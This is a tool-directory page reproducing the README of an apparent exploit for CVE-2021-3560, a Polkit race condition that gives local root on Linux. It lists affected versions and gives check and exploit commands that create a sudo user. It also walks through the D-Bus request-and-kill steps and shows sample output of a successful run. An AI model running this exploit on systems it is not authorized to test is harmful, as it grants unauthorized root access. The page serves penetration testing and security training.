Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3560_Polkit β€” Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability | Kitploit
Tools/GitHubGitHub/seimupve/cve-2021-3560_polkit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability

View Repository
261 year agoNot yet reviewed
Share

CVE-2021-3560 Polkit Local Privilege Escalation

        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

An automated exploit for the CVE-2021-3560 vulnerability affecting PolicyKit (Polkit) on Linux systems.

⚠️ WARNING: This tool is intended for educational and cybersecurity training purposes only in a controlled lab environment. Unauthorized use of this exploit on systems you do not own is illegal.

πŸ“‹ Table of Contents

  • About the Vulnerability
  • Vulnerable Systems
  • Features
  • Prerequisites
  • Installation
  • Usage
  • How It Works
  • Demonstration
  • Mitigation
  • References

πŸ” About the Vulnerability

CVE-2021-3560 is a local race condition vulnerability in PolicyKit (polkit) that allows an unprivileged user to gain root privileges on vulnerable Linux systems.

Technical Details

  • CVE ID: CVE-2021-3560
  • Severity: High (CVSS 7.8)
  • Type: Race Condition / Time-of-Check Time-of-Use (TOCTOU)
  • Impact: Local Privilege Escalation (LPE)
  • Disclosure Date: June 2021

Affected Versions

The vulnerability affects two branches of Polkit with different version numbering:

Upstream (official versions)

  • Vulnerable: 0.113 to 0.118
  • Bug introduced: Commit bfa5036 (version 0.113)
  • Fixed: Version 0.119+

Debian/Ubuntu fork

  • Vulnerable: 0.105-26 and higher (up to 0.118)
  • Bug introduced: Commit f81d021 (version 0.105-26)
  • NOT vulnerable: Debian 10 "buster" (0.105-25)

πŸ’» Vulnerable Systems

DistributionPolkit VersionVulnerable?
Ubuntu 20.040.105-26ubuntu1βœ… Yes
Ubuntu 18.040.105-20❌ No
Debian testing "bullseye"0.105-31+βœ… Yes
Debian 10 "buster"0.105-25❌ No
RHEL 80.115-11+βœ… Yes
RHEL 7< 0.113❌ No
Fedora 21+0.113+βœ… Yes
Fedora 20 and earlier< 0.113❌ No

πŸ“ Note: Systems with security patches applied (e.g., ubuntu1.1, deb10u1) are not vulnerable.

✨ Features

  • βœ… Automatic detection of vulnerability across multiple distributions
  • βœ… Multi-OS support: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • βœ… Dependency verification for required tools
  • βœ… Check mode: Verify vulnerability without exploitation
  • βœ… Adaptive timing: Automatic measurement of optimal race condition timing
  • βœ… Progress indicators: Real-time progress display
  • βœ… Colored output: Clear and easy-to-read interface
  • βœ… Robust error handling: Explicit messages on failure

πŸ“¦ Prerequisites

Python Version

  • Python 3.6+ (compatible with older systems like CentOS 8)

System Dependencies

The exploit requires the following tools (automatically verified):

- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

Required Service

- accountsservice  # Must be installed and active

πŸš€ Installation

# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

πŸ“– Usage

Mode 1: Vulnerability Check (--check)

Check if the system is vulnerable without running the exploit:

python3 CVE-2021-3560_Polkit.py --check

Example output:

[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

Mode 2: Exploitation

Create a privileged user:

python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

Example:

python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

Complete Options

usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

βš™οΈ How It Works

The exploit exploits a race condition in PolicyKit during D-Bus request processing.

Vulnerability Principle

  1. D-Bus Request: The user sends a D-Bus request to create a user
  2. Authorization Check: Polkit verifies if the user has permissions
  3. Race Condition: If the D-Bus connection is closed during verification, Polkit treats the UID as 0 (root)
  4. User Creation: The user is created with elevated privileges

Exploit Steps

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ 1. Optimal timing measurement                          β”‚
β”‚    └─> Test execution to calibrate timing              β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 2. Exploitation: User creation                         β”‚
β”‚    └─> Send D-Bus CreateUser request                   β”‚
β”‚    └─> Kill process at precise moment (race condition) β”‚
β”‚    └─> Verify if user created                          β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 3. Password hash generation                            β”‚
β”‚    └─> Using openssl passwd -6                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 4. Exploitation: Password setting                      β”‚
β”‚    └─> Send D-Bus SetPassword request                  β”‚
β”‚    └─> Kill process at precise moment (race condition) β”‚
β”‚    └─> Test login with password                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 5. Privilege escalation                                β”‚
β”‚    └─> Login with created account                      β”‚
β”‚    └─> Use sudo if member of sudo group                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🎬 Demonstration

Typical Exploitation Scenario

# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
β•‘       CVE-2021-3560 Polkit Privilege Escalation          β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    959
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    458
  • 4

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    407
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 6

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    360

Explore all tools

Browse our collection of tools

View all tools β†’